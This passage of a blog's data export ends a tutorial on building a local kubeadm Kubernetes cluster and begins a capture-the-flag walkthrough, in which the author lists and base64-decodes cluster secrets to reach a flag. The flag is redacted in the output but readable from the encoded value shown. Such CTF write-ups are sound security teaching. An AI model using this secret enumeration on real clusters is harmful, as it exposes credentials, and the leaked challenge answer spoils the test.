style=\"color:#F69D50\"\u003e awk\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '{print $1\" = 0\"}'\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -a\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/sysctl.d/1000-cilium.conf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cat\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eEOF\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/sysctl.d/k8s.conf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003enet.bridge.bridge-nf-call-ip6tables = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003enet.bridge.bridge-nf-call-iptables = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003enet.ipv4.ip_forward = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003eEOF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e systemctl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e restart\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e systemd-modules-load\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sysctl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --system\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e update\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u0026#x26;\u0026#x26; \u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e upgrade\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -y\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e install\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e containerd.io=1.6.8-1\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -y\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cat\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eEOF\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/containerd/config.toml\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003eversion = 2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e[plugins]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e [plugins.\"io.containerd.grpc.v1.cri\"]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e [plugins.\"io.containerd.grpc.v1.cri\".containerd]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e [plugins.\"io.containerd.grpc.v1.cri\".containerd.runtimes]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e [plugins.\"io.containerd.grpc.v1.cri\".containerd.runtimes.runc]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e runtime_type = \"io.containerd.runc.v2\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e [plugins.\"io.containerd.grpc.v1.cri\".containerd.runtimes.runc.options]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e SystemdCgroup = true\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003eEOF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e systemctl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e restart\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e containerd.service\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e install\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubeadm=1.23.5-00\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubelet=1.23.5-00\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl=1.23.5-00\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -y\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eFrom there we should be ready to join the cluster. When we ran \u003ccode\u003ekubeadm init\u003c/code\u003e previously it\nprinted a join command out that we could use but I am going to show you how to do it if you\nwere coming back later and no longer had that token.\u003c/p\u003e\n\u003cp\u003eBack on the \u003cem\u003econtroplane\u003c/em\u003e node run:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubeadm\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e token\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e create\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --print-join-command\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ekubeadm\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e join\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 192.168.64.7:6443\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --token\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e wxs197.cco6mjj9ricvu8ov\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --discovery-token-ca-cert-hash\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sha256:bd01c065240fa76f30a02ecb70a8cea6e329c9678994d4da1f6ccac7694b97fb\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNow copy that command and run it with \u003ccode\u003esudo\u003c/code\u003e on the worker:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubeadm\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e join\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 192.168.64.7:6443\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --token\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e wxs197.cco6mjj9ricvu8ov\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --discovery-token-ca-cert-hash\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sha256:bd01c065240fa76f30a02ecb70a8cea6e329c9678994d4da1f6ccac7694b97fb\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eAfter this completes it will take a minute or two for everything to be synced up but if you go\nback to the master node you should have 2 ready nodes now:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e nodes\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e STATUS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ROLES\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e VERSION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ready\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e control-plane,master\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 46m\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e v1.23.5\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eworker\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ready\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 79s\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e v1.23.5\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003ch2\u003eAccessing the cluster outside of the VMs!\u003c/h2\u003e\n\u003cp\u003eNow the final part is to get the \u003ccode\u003eadmin.conf\u003c/code\u003e as a kubeconfig on your machine so you can control\nit from outside of the cluster. To do this we can use scp\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003emultipass\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e transfer\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e controlplane:/home/ubuntu/.kube/config\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e local.config\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNormally kubernetes configuration is in ~/.kube/config but I like to maintain a separate file for\neach cluster and then I set the \u003ccode\u003eKUBECONFIG\u003c/code\u003e env var to access it.\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e export\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e KUBECONFIG=local.config\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e nodes\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e STATUS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ROLES\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e VERSION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ready\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e control-plane,master\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 56m\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e v1.23.5\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eworker\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ready\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 11m\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e v1.23.5\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e","category":"Kubernetes","date":"2022-04-17T00:00:00Z","tags":["Linux","Kubernetes","DevOps","SRE"],"title":"Running a kubernetes cluster locally with kubeadm"},{"id":["2023","eks_cluster_games_ctf"],"path":"2023/eks_cluster_games_ctf","contentHtml":"\u003cp\u003e\u003ca href=\"https://eksclustergames.com\"\u003eeksclustergames.com\u003c/a\u003e is a new CTF targeted at\nkubernetes vulnerabilities. This is a walk through on how to solve the issues.\u003c/p\u003e\n\u003ch1\u003eChallenge 1\u003c/h1\u003e\n\u003cp\u003eThe first challenge starts off with a clue:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eJumpstart your quest by listing all the secrets in the cluster.\nCan you spot the flag among them?\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eSo let us start off by getting the secrets:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e secret\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e TYPE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e DATA\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003elog-rotate\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Opaque\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 37h\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSince there is only one, let us view it!\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e secret\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e json\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"apiVersion\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"v1\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"items\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"apiVersion\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"v1\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"data\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"flag\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"d2l6X2Vrc19jaGFsbGVuZ2V7b21nX292ZXJfcHJpdmlsZWdlZF9zZWNyZXRfYWNjZXNzfQ==\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"kind\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Secret\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"metadata\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"creationTimestamp\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-11-01T13:02:08Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"name\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"log-rotate\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"namespace\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"challenge1\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"resourceVersion\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"890951\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"uid\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"03f6372c-b728-4c5b-ad28-70d5af8d387c\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"type\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Opaque\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"kind\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"List\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"metadata\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"resourceVersion\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThe flag seems to be in \u003ccode\u003e.items[0].data.flag\u003c/code\u003e and is \u003ccode\u003ebase64\u003c/code\u003e encoded so we can\ndecode it as well:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e secret\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e json\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ejq\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '.items[0].data.flag'\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -r\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e base64\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -d\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ewiz_eks_challenge\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e{omg_over_privileged_*REDACTED*}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eFirst flag found!\u003c/p\u003e\n\u003cp\u003eThis one was definitely a softball but it gets you nice and warmed up on the\nplatform.\u003c/p\u003e\n\u003ch1\u003eChallenge 2\u003c/h1\u003e\n\u003cp\u003eThe hint for this challenge is:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eA thing we learned during our research: always check the container registries.\n\nFor your convenience, the crane utility is already pre-installed on the machine.\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThe first thing I think of when reading this is that it has something to do\nwith the registry a pod is living on. So let us list the pods and see what is\navailable:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e pod\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e READY\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e STATUS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e RESTARTS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003edatabase-pod-2c9b3a4e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 